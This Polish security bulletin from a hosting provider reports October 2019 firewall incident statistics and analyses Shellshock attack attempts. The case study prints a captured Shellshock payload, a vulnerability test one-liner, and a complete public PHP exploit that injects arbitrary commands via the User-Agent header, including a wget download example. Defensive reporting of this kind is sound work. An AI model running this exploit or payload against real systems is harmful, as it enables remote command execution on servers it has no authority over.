Prezentujemy Wam pierwszy numer naszego nowego, S.M.S.-owego biuletynu bezpieczeństwa komputerowego „Z firewall’a wzięte”.

Spis treści

- Wstęp
- Ogólna analiza statystyczna incydentów
- Analiza przypadku wybranych zgłoszeń
- Podsumowanie

Wstęp

Dlaczego w naszych głowach powstał właśnie taki pomysł? Otóż przede wszystkim chcemy skoncentrować się trochę bardziej na aspekcie popularyzacji wiedzy z zakresu cyberbezpieczeństwa. Mamy nadzieję pokazać użytkownikowi z jakimi przypadkami zmagamy się na co dzień oraz uświadomić go jakie zagrożenia aktualnie mogą na niego czyhać w sieci. Tym samym mamy nadzieję podnieść poziom wiedzy użytkowników Internetu oraz sprawić, aby podczas korzystania z nowoczesnych technologii wiedzieli jak zminimalizować towarzyszące temu ryzyko. Mamy nadzieję, że stworzony przez nas materiał trafi do szerokiego grona odbiorców, dzięki czemu idea tego projektu będzie mogła zostać zachowana. Staraliśmy się również stworzyć materiał przyjazny dla każdego – niezależnie od stopnia zaawansowania wiedzy w zakresie bezpieczeństwa IT.

Brzmi ciekawie, prawda? Teraz pewnie zastanawiasz się skąd oni wezmą te wszystkie dane. Otóż, zgodnie z tytułem naszego biuletynu, pokażemy Ci co dokładnie odbija się od naszego firewall’a. W tym celu wykorzystamy narzędzia, które na co dzień pomagają nam monitorować ruch sieciowy do naszych serwerów. Dzięki temu będziemy w stanie pokazać Ci jakie zagrożenia były najbardziej popularne w danym okresie czasu, przeprowadzimy analizę najciekawszych z nich oraz ułożymy wszystko w jasną i przejrzystą całość. Jednocześnie chcemy zaznaczyć, że działamy we własnej infrastrukturze – trendy przez nas zaobserwowane mogą, ale nie muszą występować również u innych dostawców usług cyfrowych.

Sam biuletyn składa się z 3 głównych części – ogólnej analizy statystycznej incydentów w naszej infrastrukturze, analizy przypadku jednego z wybranych przez nas zagrożeń oraz podsumowania całego zebranego przez nas materiału.

Chcielibyśmy również zachęcić naszych kolegów z branży do przyłączenia się do naszej inicjatywy i współpracy przy tworzeniu kolejnych wydań biuletynu. Jeśli masz pomysł jak Twoje dane mogą zostać wykorzystane w materiale serdecznie zapraszamy do kontaktu mailowego w celu ustalenia szczegółów: blog@s-m-s.pl.

Mamy nadzieję, że zapoznanie się z materiałem sprawi Ci tyle satysfakcji ile nam sprawiło jego przygotowanie. Zapraszamy również do dyskusji na jego temat we wszystkich dostępnych kanałach – sekcja komentarzy na naszym blogu, nasze profile w social mediach (Facebook oraz Twitter) czy też pod adresem mailowym: blog@s-m-s.pl. Każda opinia na ten temat jest dla nas ważna i pomoże nam ulepszyć kolejne wydania biuletynu.

Miłej lektury!

Ogólna analiza statystyczna incydentów

W celu określenia skali i częstotliwości występowania zdarzeń w infrastrukturze najlepszym będzie przeanalizowanie dostępnych danych statystycznych. Dzięki takiemu zabiegowi będziemy mogli w sposób kompleksowy przedstawić kwestie cyberbezpieczeństwa naszej infrastruktury. Na potrzeby przygotowania tej części materiału wykorzystaliśmy technologię umożliwiającą nam stałe monitorowanie ruchu do naszych serwerów. Pozwoliło nam to wyszczególnić zdarzenia, które zostały przedstawione poniżej.

W październikowym wydaniu biuletynu badaniu poddane zostały dane zebrane z własnych narzędzi służących do administrowania ruchem do serwerów. Przeanalizowaliśmy dane za okres od 01.10.2019 do 31.10.2019. Do analizy statystycznej użyte zostały takie parametry jak dzienna liczba zdarzeń, najczęściej występujące incydenty, podział zagrożeń ze względu na rodzaj oraz potencjalną dotkliwość zdarzenia.

W analizowanym okresie czasu doszło w sumie do 4.805 zdarzeń. Natomiast dziennie dochodziło średnio do 155 prób ingerencji w nasze systemy. Liczbę zdarzeń w danym dniu zeszłego miesiąca obrazuje *Wykres nr 1.*

Wykres nr 1 Liczba wykrytych zdarzeń w badanym okresie.

Liczba prób kompromitacji naszych systemów w przeciągu miesiąca utrzymywała się na dość stałym poziomie. Wyjątkiem są trzy dni zeszłego miesiąca, czyli kolejno pod względem odnotowanych incydentów 18.10, gdzie wystąpiły 1.772 zagrożenia, 01.10 z liczbą 561 zagrożeń oraz 27.10 z 254 zagrożeniami. Konkretne zdarzenia występujące podczas tych trzech dni oraz częstotliwość ich wykorzystania przedstawiają poniższe tabele.

Zdarzenie	Liczba
HTTP SQL Injection Attempt	1.651
UNIX Portmapper Remote Infomation Retrieving Attempt	30
OpenSSH AES-GCM Auth Remote Code Execution Vulnerability	56
DNS RRSIG Query Type Packet	17
HTTP Non RFC-Compliant Response Found	10
HTTP OPTIONS Method	4
WordPress Cuckootap Theme Arbitrary File Download Vulnerability	3
FTP: login Brute-force attempt	1

Tab. nr 1 Typy zdarzeń oraz ich liczba w dn. 18.10.2019 r.

Zdarzenie	Liczba
HTTP SQL Injection Attempt	471
UNIX Portmapper Remote Infomation Retrieving Attempt	67
HTTP Non RFC-Compliant Response Found	8
HTTP OPTIONS Method	8
WordPress Cuckootap Theme Arbitrary File Download Vulnerability	4
HTTP Directory Traversal Vulnerability	2
OpenSSL TLS Malformed Heartbeat Request Found - Heartbleed	1

Tab. nr 2 Typy zdarzeń oraz ich liczba w dn. 01.10.2019 r.

Zdarzenie	Liczba
OpenSSH AES-GCM Auth Remote Code Execution Vulnerability	219
UNIX Portmapper Remote Infomation Retrieving Attempt	28
HTTP Non RFC-Compliant Response Found	3
WordPress Cuckootap Theme Arbitrary File Download Vulnerability	2
Spreecommerce Arbitrary Command Execution Vulnerability	2

Tab. nr 3 Typy zdarzeń oraz ich liczba w dn. 27.10.2019 r.

Jak można zauważyć powyżej do najczęściej występujących w tych dniach zagrożeń można zaliczyć HTTP SQL Injection, OpenSSH AES-GCM Auth Remote Code Execution Vulnerability oraz UNIX Portmapper Remote Infomation Retrieving. Są to podatności o niskim i średnim poziomie potencjalnej dotkliwości. Można wnioskować, że ich częste próby wykorzystania są spowodowane ich niskim skomplikowaniem, łatwością zastosowania oraz wysoką popularnością tych metod kompromitacji danych wśród cyberprzestępców.

W celu porównania trendów zebraliśmy również 19 podatności, które najczęściej próbowano wykorzystać w badanym okresie. Wszystkie zdarzenia oraz liczba ich występowania

zaprezentowane są w poniższej tabeli.

Zdarzenie	Liczba
HTTP SQL Injection Attempt	1.667
UNIX Portmapper Remote Infomation Retrieving Attempt	1.000
OpenSSH AES-GCM Auth Remote Code Execution Vulnerability	950
HTTP Non RFC-Compliant Response Found	238
ZmEu Scanner Detection	112
HTTP Unauthorized Brute-force Attack	86
WordPress Cuckootap Theme Arbitrary File Download Vulnerability	52
HTTP OPTIONS Method	27
HTTP Directory Traversal Vulnerability	26
Bash Remote Code Execution Vulnerability	18
DNS RRSIG Query Type Packet	17
IPMI Cipher Zero Authentication Bypass Vulnerability	16
MAIL: User Login Brute-force Attempt	11
MailEnable IMAP Server Long Tag anomaly	9
Wordpress MailPoet Newsletters Unauthenticated File Upload Vulnerability	6
FTP: login Brute-force attempt	6
HTTP /etc/passwd access attempt	6
OpenSSL TLS Malformed Heartbeat Request Found - Heartbleed	5
Spreecommerce Arbitrary Command Execution Vulnerability	4

Tab. nr 4 Typy zdarzenie oraz ich liczba w badanym okresie.

Wyżej wspominamy o pojęciu potencjalnej dotkliwości zdarzenia. Jak sama nazwa wskazuje jest to szacowany zakres szkód jakie może wyrządzić dana podatność w naszej infrastrukturze o ile dojdzie do jej pomyślnego wykorzystania. Samą dotkliwość można podzielić na 5 różnych poziomów:

- Informacja – podejrzane zdarzenie, które nie stanowi bezpośredniego zagrożenia, ale poprzez samo jego zgłoszenie uwaga administratora może zostać zwrócona na głębsze problemy infrastruktury, które mogą zaistnieć w przyszłości.

- Niska – najniższy poziom dotkliwości wymagający ostrzeżenia. Zagrożenie ma znikomy wpływ na infrastrukturę organizacji. Zazwyczaj wymagają lokalnego bądź fizycznego dostępu do systemu i często mogą powodować problemy z prywatnością ofiary lub problemy powiązane z DoS oraz możliwy wyciek danych.
- Średnia – niewielkie zagrożenie, którego wpływ na infrastrukturę jest minimalny. Następstwem wykorzystania podatności z tej kategorii mogą być ataki typu DoS, które nie zagrażają celowi lub exploity, które od osoby atakującej wymagają przebywania w tej samej sieci LAN co ofiara. Zagrożenia poziomu średniego mogą mieć wpływ jedynie na niestandardowe konfiguracje oraz mało znane aplikacje. Zapewniają atakującemu bardzo ograniczony dostęp.
- Wysoka – zagrożenie, które potencjalnie może stać się krytycznym, jednak dzięki występowaniu czynników łagodzących nie jest możliwa jego eskalacja. Do kategorii zagrożeń poziomu wysokiego można zaliczyć zagrożenia, które są trudne do wykorzystania, nie dają podwyższonych uprawnień lub są w stanie dotknąć małej ilości ofiar.
- Krytyczna – zagrożenie poważne, które jest stanie dotknąć domyślnych instalacji szeroko rozpowszechnionego oprogramowania. Skutkuje kompromitacją serwera, a kod exploitacji jest powszechnie dostępny. Atakujący zwykle nie potrzebuje żadnych specjalnych danych uwierzytelniających ani wiedzy na temat poszczególnych ofiar, a cel nie musi być zmanipulowany w celu wykonywania jakichkolwiek specjalnych funkcji.

Na poniższym wykresie przedstawiliśmy potencjalną dotkliwość najpopularniejszych zdarzeń występujących w badanym okresie.

Wykres nr 2 Potencjalna dotkliwość najpopularniejszych zdarzeń w badanym okresie.

Byliśmy również ciekawi z jakich krajów najczęściej pochodziły ataki. Aby to zrobić napisaliśmy program w bashu, który identyfikował adresy IP i przypisywać każdemu z nich kraj ich pochodzenia, a następnie je zliczał. W ten sposób otrzymaliśmy 191 unikalnych adresów IP wraz z ich krajem pochodzenia. Tym samym udało nam się zidentyfikować 23 kraje, z których próbowano skompromitować nasze usługi. Wszystkie atakujące nas państwa pokazaliśmy na poniższej mapie. Im ciemniejszy i bardziej nasycony kolor tym więcej ataków z danego miejsca odnotowaliśmy.

Mapa nr 1 Kraje próbujące atakować infrastrukturę S.M.S. w badanym okresie.

Analiza przypadku wybranych zgłoszeń

Jak wynika z powyżej przedstawionych przez nas statystyk największą popularnością w październiku 2019 roku cieszyły się podatności typu SQLinjection. Jednakże tym razem postanowiliśmy nie pochylać się nad ogólnie znaną i lubianą podatnością. Co ciekawe, podatność ta jest dziś coraz bardziej spychana na dalsze miejsca oraz coraz częściej uznawana przez badaczy bezpieczeństwa za błahą. Dzieje się tak, ponieważ błąd ten wynika głównie z niefrasobliwości i niechlujstwa twórców stron WWW. Powodem też jest wzrost liczby stron opartych o gotowe systemy CMS, natomiast wprawieni webdeveloperzy, którzy podejmują się tworzenia webaplikacji od zera są już na tyle doświadczeni, że nie popełniają elementarnych błędów.

Dziś jednak postanowiliśmy przeanalizować całkowicie inny przypadek zaistniały w naszej infrastrukturze. Według statystyk przedstawionych powyżej został on umieszczony wśród incydentów krytycznych. Co ciekawe, dana podatność oraz atakujący stanowią wszystkie 18 zarejestrowanych przypadków krytycznych.

Adres IP atakującego należy do puli adresowej firmy hostingowej GoDaddy działającej na terenie Stanów Zjednoczonych. Co ciekawe firma nigdzie jasno nie określa, że jest

właścicielem tego adresu – wszystkie linki na ten temat, które udało nam się znaleźć były puste. Po przeanalizowaniu danych z bazy whois zweryfikowaliśmy, że adres secureserver.net zarejestrowany przez amerykańską firmę Wild West Domains a rejestrującym jest GoDaddy. Udało nam się również ustalić, że są to spółki córki należące do jednego konglomeratu, ale oferujące innego rodzaju usługi.

W momencie tworzenie analizy serwer, który odegrał rolę atakującego, był niestety nieaktywny, a w naszych logach pojawił się tylko w czasie gdy dokonywał ataku. Podczas poszukiwania informacji na jego temat natrafiliśmy na wzmiankę w serwisie Shodan.io. Dla adresu IP, o którym szukaliśmy informacji były przypisane trzy usługi sieciowe:

- port 22 – Open SSH 5.3p1
- port 25 – Sendmail 8.14.4/8.14.4
- port 80 – Apache/2.2.15 (CentOS)

Dla wyżej wymienionych portów portal shodan.io określił 30 możliwych podatności:

CVE-2010-2068	mod_proxy_http.c in mod_proxy_http in the Apache HTTP Server 2.2.9 through 2.2.15, 2.3.4-alpha, and 2.3.5-alpha on Windows, NetWare, and OS/2, in certain configurations involving proxy worker pools, does not properly detect timeouts, which allows remote attackers to obtain a potentially sensitive response intended for a different client in opportunistic circumstances via a normal HTTP request.
CVE-2011-4317	The mod_proxy module in the Apache HTTP Server 1.3.x through 1.3.42, 2.0.x through 2.0.64, and 2.2.x through 2.2.21, when the Revision 1179239 patch is in place, does not properly interact with use of (1) RewriteRule and (2) ProxyPassMatch pattern matches for configuration of a reverse proxy, which allows remote attackers to send requests to intranet servers via a malformed URI containing an @ (at sign) character and a : (colon) character in invalid positions. NOTE: this vulnerability exists because of an incomplete fix for CVE-2011-3368.
CVE-2017-7679	In Apache httpd 2.2.x before 2.2.33 and 2.4.x before 2.4.26, mod_mime can read one byte past the end of a buffer when sending a malicious Content-Type response header.

CVE-2018-1312	In Apache httpd 2.2.0 to 2.4.29, when generating an HTTP Digest authentication challenge, the nonce sent to prevent reply attacks was not correctly generated using a pseudo-random seed. In a cluster of servers using a common Digest authentication configuration, HTTP requests could be replayed across servers by an attacker without detection.
CVE-2011-3368	The mod_proxy module in the Apache HTTP Server 1.3.x through 1.3.42, 2.0.x through 2.0.64, and 2.2.x through 2.2.21 does not properly interact with use of (1) RewriteRule and (2) ProxyPassMatch pattern matches for configuration of a reverse proxy, which allows remote attackers to send requests to intranet servers via a malformed URI containing an initial @ (at sign) character.
CVE-2011-3348	The mod_proxy_ajp module in the Apache HTTP Server before 2.2.21, when used with mod_proxy_balancer in certain configurations, allows remote attackers to cause a denial of service (temporary „error state” in the backend server) via a malformed HTTP request.
CVE-2012-3499	Multiple cross-site scripting (XSS) vulnerabilities in the Apache HTTP Server 2.2.x before 2.2.24-dev and 2.4.x before 2.4.4 allow remote attackers to inject arbitrary web script or HTML via vectors involving hostnames and URIs in the (1) mod_imagemap, (2) mod_info, (3) mod_ldap, (4) mod_proxy_ftp, and (5) mod_status modules.
CVE-2012-4558	Multiple cross-site scripting (XSS) vulnerabilities in the balancer_handler function in the manager interface in mod_proxy_balancer.c in the mod_proxy_balancer module in the Apache HTTP Server 2.2.x before 2.2.24-dev and 2.4.x before 2.4.4 allow remote attackers to inject arbitrary web script or HTML via a crafted string.
CVE-2013-1896	mod_dav.c in the Apache HTTP Server before 2.2.25 does not properly determine whether DAV is enabled for a URI, which allows remote attackers to cause a denial of service (segmentation fault) via a MERGE request in which the URI is configured for handling by the mod_dav_svn module, but a certain href attribute in XML data refers to a non-DAV URI.
CVE-2016-8612	Apache HTTP Server mod_cluster before version httpd 2.4.23 is vulnerable to an Improper Input Validation in the protocol parsing logic in the load balancer resulting in a Segmentation Fault in the serving httpd process.

CVE-2012-4557	The mod_proxy_ajp module in the Apache HTTP Server 2.2.12 through 2.2.21 places a worker node into an error state upon detection of a long request-processing time, which allows remote attackers to cause a denial of service (worker consumption) via an expensive request.
CVE-2014-0098	The log_cookie function in mod_log_config.c in the mod_log_config module in the Apache HTTP Server before 2.4.8 allows remote attackers to cause a denial of service (segmentation fault and daemon crash) via a crafted cookie that is not properly handled during truncation.
CVE-2017-7668	The HTTP strict parsing changes added in Apache httpd 2.2.32 and 2.4.24 introduced a bug in token list parsing, which allows ap_find_token() to search past the end of its input string. By maliciously crafting a sequence of request headers, an attacker may be able to cause a segmentation fault, or to force ap_find_token() to return an incorrect value.
CVE-2013-6438	The dav_xml_get_cdata function in main/util.c in the mod_dav module in the Apache HTTP Server before 2.4.8 does not properly remove whitespace characters from CDATA sections, which allows remote attackers to cause a denial of service (daemon crash) via a crafted DAV WRITE request.
CVE-2012-2687	Multiple cross-site scripting (XSS) vulnerabilities in the make_variant_list function in mod_negotiation.c in the mod_negotiation module in the Apache HTTP Server 2.4.x before 2.4.3, when the MultiViews option is enabled, allow remote attackers to inject arbitrary web script or HTML via a crafted filename that is not properly handled during construction of a variant list.
CVE-2011-4415	The ap_pregsub function in server/util.c in the Apache HTTP Server 2.0.x through 2.0.64 and 2.2.x through 2.2.21, when the mod_setenvif module is enabled, does not restrict the size of values of environment variables, which allows local users to cause a denial of service (memory consumption or NULL pointer dereference) via a .htaccess file with a crafted SetEnvIf directive, in conjunction with a crafted HTTP request header, related to (1) the „len +=" statement and (2) the apr_pcalloc function call, a different vulnerability than CVE-2011-3607.

CVE-2012-0031	scoreboard.c in the Apache HTTP Server 2.2.21 and earlier might allow local users to cause a denial of service (daemon crash during shutdown) or possibly have unspecified other impact by modifying a certain type field within a scoreboard shared memory segment, leading to an invalid call to the free function.
CVE-2013-2249	mod_session_dbd.c in the mod_session_dbd module in the Apache HTTP Server before 2.4.5 proceeds with save operations for a session without considering the dirty flag and the requirement for a new session ID, which has unspecified impact and remote attack vectors.
CVE-2010-1452	The (1) mod_cache and (2) mod_dav modules in the Apache HTTP Server 2.2.x before 2.2.16 allow remote attackers to cause a denial of service (process crash) via a request that lacks a path.
CVE-2011-3607	Integer overflow in the ap_pregsub function in server/util.c in the Apache HTTP Server 2.0.x through 2.0.64 and 2.2.x through 2.2.21, when the mod_setenvif module is enabled, allows local users to gain privileges via a .htaccess file with a crafted SetEnvIf directive, in conjunction with a crafted HTTP request header, leading to a heap-based buffer overflow.
CVE-2017-3167	In Apache httpd 2.2.x before 2.2.33 and 2.4.x before 2.4.26, use of the ap_get_basic_auth_pw() by third-party modules outside of the authentication phase may lead to authentication requirements being bypassed.
CVE-2012-0053	protocol.c in the Apache HTTP Server 2.2.x through 2.2.21 does not properly restrict header information during construction of Bad Request (aka 400) error documents, which allows remote attackers to obtain the values of HTTPOnly cookies via vectors involving a (1) long or (2) malformed header in conjunction with crafted web script.
CVE-2012-0883	envvars (aka envvars-std) in the Apache HTTP Server before 2.4.2 places a zero-length directory name in the LD_LIBRARY_PATH, which allows local users to gain privileges via a Trojan horse DSO in the current working directory during execution of apachectl.
CVE-2017-3169	In Apache httpd 2.2.x before 2.2.33 and 2.4.x before 2.4.26, mod_ssl may dereference a NULL pointer when third-party modules call ap_hook_process_connection() during an HTTP request to an HTTPS port.

CVE-2011-3639	The mod_proxy module in the Apache HTTP Server 2.0.x through 2.0.64 and 2.2.x before 2.2.18, when the Revision 1179239 patch is in place, does not properly interact with use of (1) RewriteRule and (2) ProxyPassMatch pattern matches for configuration of a reverse proxy, which allows remote attackers to send requests to intranet servers by using the HTTP/0.9 protocol with a malformed URI containing an initial @ (at sign) character. NOTE: this vulnerability exists because of an incomplete fix for CVE-2011-3368.
CVE-2011-0419	Stack consumption vulnerability in the fnmatch implementation in apr_fnmatch.c in the Apache Portable Runtime (APR) library before 1.4.3 and the Apache HTTP Server before 2.2.18, and in fnmatch.c in libc in NetBSD 5.1, OpenBSD 4.8, FreeBSD, Apple Mac OS X 10.6, Oracle Solaris 10, and Android, allows context-dependent attackers to cause a denial of service (CPU and memory consumption) via *? sequences in the first argument, as demonstrated by attacks against mod_autoindex in httpd.
CVE-2014-0231	The mod_cgid module in the Apache HTTP Server before 2.4.10 does not have a timeout mechanism, which allows remote attackers to cause a denial of service (process hang) via a request to a CGI script that does not read from its stdin file descriptor.
CVE-2013-1862	mod_rewrite.c in the mod_rewrite module in the Apache HTTP Server 2.2.x before 2.2.25 writes data to a log file without sanitizing non-printable characters, which might allow remote attackers to execute arbitrary commands via an HTTP request containing an escape sequence for a terminal emulator.
CVE-2016-4975	Possible CRLF injection allowing HTTP response splitting attacks for sites which use mod_userdir. This issue was mitigated by changes made in 2.4.25 and 2.2.32 which prohibit CR or LF injection into the „Location” or other outbound header key or value. Fixed in Apache HTTP Server 2.4.25 (Affected 2.4.1-2.4.23). Fixed in Apache HTTP Server 2.2.32 (Affected 2.2.0-2.2.31).

CVE-2011-3192	The byterange filter in the Apache HTTP Server 1.3.x, 2.0.x through 2.0.64, and 2.2.x through 2.2.19 allows remote attackers to cause a denial of service (memory and CPU consumption) via a Range header that expresses multiple overlapping ranges, as exploited in the wild in August 2011, a different vulnerability than CVE-2007-0086.

Zgodnie z informacjami zawartymi na portalu Shodan.io, ostatnia aktywność serwera jaką zarejestrował portal była w piątek pierwszego listopada 2019 o godzinie 18:59:43 GMT. Liczymy, że brak aktywności serwera oznacza zakończenie jego funkcjonowania i propagowania malware, a nie tylko czasową przerwą w jego działaniu.

Na naszym firewallu odnotowaliśmy łącznie 18 prób wykorzystania podatności typu „Bash Remote Code Execution Vulnerability" potocznie zwanej „shellshock" pozwalającej w dość prosty sposób na przekazanie i zdalne wykonanie kodu. Podatność ta, została szerzej opisana przy pomocy nastepujących CVE:

- CVE-2014-6271
- CVE-2014-7169
- CVE-2014-6277
- CVE-2014-6278

W związku z tym, że nasz system bezpieczeństwa, automatycznie po rozpoznaniu danego incydentu zresetował połączenie atakującego z ofiarą uniemożliwiając dostarczenie złośliwego kodu do serwera, ciężko ocenić nam, jakie miały być dalsze etapy ataku.

Pierwsze próby ataku rejestrowaliśmy 16 października 2019 w okresie pomiędzy 6:21:46 a 6:27:48 (7 ataków, każdy atak na inny adres IP). Druga zarejestrowana działalność atakującego miała miejsce około doby później czyli 17 października 2019 w przedziale czasowym od 2:21:05 do 02:21:07 (4 ataki, każdy na ten sam adres IP) oraz 14 dni później czyli 31.10.2019 od godziny 02:30:27 do 02:30:28. Każde z połączeń wyglądało tak samo. Poniżej zamieszczamy fragment zarejestrowanego ruchu.

```
GET // HTTP/1.1
Accept: */*
User-Agent: () { :;};echo; /bin/bash -c " echo 2014 | md5sum"
Host: 79.137.31.[redacted]
Connection: Close
```

Jak widać w polu User-Agent przekazywany jest złośliwy kod:

Source code

```
() { :;};echo; /bin/bash -c " echo 2014 | md5sum"
```

Dostarczony kod, ma charakter POC (Proof Of Concept) czyli rekonesansu. Jego zadaniem jest wywołanie błędu i wyświetlenie określonego komunikatu, który będzie informacją dla atakującego o istnieniu podatności. W tym przypadku przesłany przez intruza kod ma przekazać do atakowanej powłoki systemowej – tutaj jest to powłoka bash – polecenie wyświetlające napis „2014” oraz później generujący sumę kontrolą wyświetlonego napisu. W ten sposób atakujący otrzymuje informację o istnieniu luki i może w późniejszym czasie przystąpić do exploitacji/pobrania właściwego malware.

Opisywana przez nas w tym przypadku luka pochodzi z 2014, nie bez przypadku wydaje się być więc liczba 2014 w payloadzie dostarczanym przez atakujący serwer. Prawdopodobnie jest to jakaś pozostałość po funkcjonującym kilka lat temu malware, który dziś jeszcze żyje na zainfekowanych, niezaktualizowanych serwerach. Niestety nie mamy obecnie pod ręką na tyle podatnego serwera, by pokazać pełny proces eksploitacji tej luki, nad czym bardzo ubolewamy.

Mimo tego, że podatność jest stosunkowo stara, warto przy tej okazji wykonać prosty test sprawdzający czy nasz system jest podatny na atak tego typu. Możemy zrobić to za pomocą poniższego kodu:

Source code

```
env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
```

Natomiast dla bardziej zaawansowanych, lub posiadających więcej niż jeden serwer, polecamy użycie gotowego exploita:

Source code

```
<?php
/*
Title: Bash Specially-crafted Environment Variables Code Injection
Vulnerability
CVE: 2014-6271
Vendor Homepage: https://www.gnu.org/software/bash/
```

```
Author: Prakhar Prasad && Subho Halder
Author Homepage: https://prakharprasad.com && https://appknox.com
Date: September 25th 2014
Tested on: Mac OS X 10.9.4/10.9.5 with Apache/2.2.26
           GNU bash, version 3.2.51(1)-release (x86_64-apple-darwin13)
Usage: php bash.php -u http://<hostname>/cgi-bin/<cgi> -c cmd
           Eg. php bash.php -u http://localhost/cgi-bin/hello -c "wget
http://appknox.com -O /tmp/shit"
Reference:
https://www.reddit.com/r/netsec/comments/2hbxtc/cve20146271_remote_cod
e_execution_through_bash/

Test CGI Code : #!/bin/bash
                                echo "Content-type: text/html"
                                echo ""
                                echo "Bash-is-Vulnerable"

*/
error_reporting(0);
if(!defined('STDIN')) die("Please run it through command-line!\n");
$x  = getopt("u:c:");
if(!isset($x['u']) || !isset($x['c']))
{
        die("Usage: ".$_SERVER['PHP_SELF']." -u URL -c cmd\n");

}
$url = $x['u'];
$cmd = $x['c'];

$context = stream_context_create(
        array(
                'http' => array(
                        'method'  => 'GET',
                        'header'  => 'User-Agent: () { :;}; /bin/bash
-c "'.$cmd.'"'
                )
        )
);
```

```
$req = file_get_contents($url, false, $context);
if(!$req && strpos($http_response_header[0],"500") > 0 )
        die("Command sent to the server!\n");
else if($req && !strpos($http_response_header[0],"500") > 0)
        die("Server didn't respond as it should!\n");
else if(!$req && $http_response_header == NULL)
        die("A connection error occurred!\n")
?>
```

Kod źródłowy exploita u jego opis można znaleźć
na https://www.exploit-db.com/exploits/34766.

Podsumowanie

Biorąc pod uwagę dane przedstawione powyżej można jednoznacznie stwierdzić, że stały monitoring aktywności jest kluczowy dla zapewnienia wysokiego poziomu bezpieczeństwa sieci. Bez znaczenia ma wielkość czy skala działalności, incydenty bezpieczeństwa w dzisiejszych czasach dotyczą każdego – od użytkownika końcowego, przez małe przedsiębiorstwa, a na dużych korporacjach kończąc. Z tego względu tak istotny jest właściwy poziom usług z dziedziny bezpieczeństwa IT. W tym miejscu warto również dodać, że mimo tak licznych zdarzeń i prób exploitacji (tj. wykorzystania błędów lub luk w oprogramowaniu/systemie/aplikacji itp.) naszego systemu, dzięki stałemu monitoringowi oraz prawidłowo zabezpieczonej infrastrukturze żadna podatność nie miała wpływu na ciągłość działania naszej organizacji ani w żadnym stopnia nie wpłynęła na jakość świadczonej usługi.